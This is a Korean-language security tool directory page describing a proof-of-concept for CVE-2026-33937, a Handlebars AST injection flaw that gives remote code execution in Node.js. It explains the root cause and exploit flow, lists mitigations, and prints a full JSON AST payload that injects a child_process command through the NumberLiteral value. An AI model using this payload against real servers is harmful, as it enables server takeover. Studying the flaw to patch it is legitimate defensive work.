Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-33937 — # CVE-2026-33937 개념 증명 익스플로잇 Handlebars AST 주입 취약점으로, Node.js에서 원격 코드 실행으로 이어지는 CVE-2026-33937에 대한 개념 증명 익스플로잇입니다. 제작된 AST 페이로드를 시연하고 완화 지침을 제공합니다. | Kitploit
도구/GitHubGitHub/dinhvaren/cve-2026-33937
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPayload Development
GitHubdinhvaren/cve-2026-33937

cve-2026-33937

# CVE-2026-33937 개념 증명 익스플로잇 Handlebars AST 주입 취약점으로, Node.js에서 원격 코드 실행으로 이어지는 CVE-2026-33937에 대한 개념 증명 익스플로잇입니다. 제작된 AST 페이로드를 시연하고 완화 지침을 제공합니다.

저장소 보기
3개월 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33937 - Handlebars RCE 익스플로잇 PoC

설명

CVE-2026-33937은 Handlebars에서 AST(Abstract Syntax Tree) 입력을 안전하지 않게 처리하여 발생하는 치명적인 원격 코드 실행(RCE) 취약점입니다.

이 취약점은 공격자가 Handlebars.compile()에 조작된 AST 객체를 제공하여 임의의 JavaScript 코드를 주입할 수 있게 합니다.

근본 원인

Handlebars.compile()은 다음 두 가지를 모두 허용합니다:

  • 템플릿 문자열
  • 사전 파싱된 AST 객체

AST 객체가 제공되면 파싱 단계가 건너뜁니다.

내부:

root@kitploit:~

lib/handlebars/compiler/javascript-compiler.js

다음 함수:

root@kitploit:~
NumberLiteral(number) {
  this.pushStackLiteral(number.value);
}

는 number.value를 샌드박스 처리나 이스케이프 없이 생성된 JavaScript 코드에 직접 삽입하여 코드 주입으로 이어집니다.

영향

  • 원격 코드 실행(RCE)
  • 서버 전체 장악
  • Node.js 환경에서의 임의 JavaScript 실행

익스플로잇 흐름

root@kitploit:~
공격자 → 조작된 AST (JSON)
        │
        ▼
Handlebars.compile()
        │
        ▼
Compiler.compile()
        │
        ▼
JavaScriptCompiler (NumberLiteral 주입)
        │
        ▼
코드 생성
        │
        ▼
new Function(...) / eval()
        │
        ▼
       RCE

개념 증명(PoC)

root@kitploit:~
{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": {
        "type": "PathExpression",
        "data": false,
        "depth": 0,
        "parts": ["lookup"],
        "original": "lookup",
        "loc": null
      },
      "params": [
        {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": [],
          "original": "this",
          "loc": null
        },
        {
          "type": "NumberLiteral",
          "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
          "original": 1,
          "loc": null
        }
      ],
      "escaped": true,
      "strip": { "open": false, "close": false },
      "loc": null
    }
  ],
  "strip": {},
  "loc": null
}

영향을 받는 버전

  • Handlebars <= 4.7.8

완화 조치

  • 신뢰할 수 없는 AST 입력을 허용하지 마십시오
  • 모든 템플릿 입력을 검증하고 샌드박스 처리하십시오
  • 패치된 버전의 Handlebars로 업그레이드하십시오

참고 자료

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33937
도구 다운로드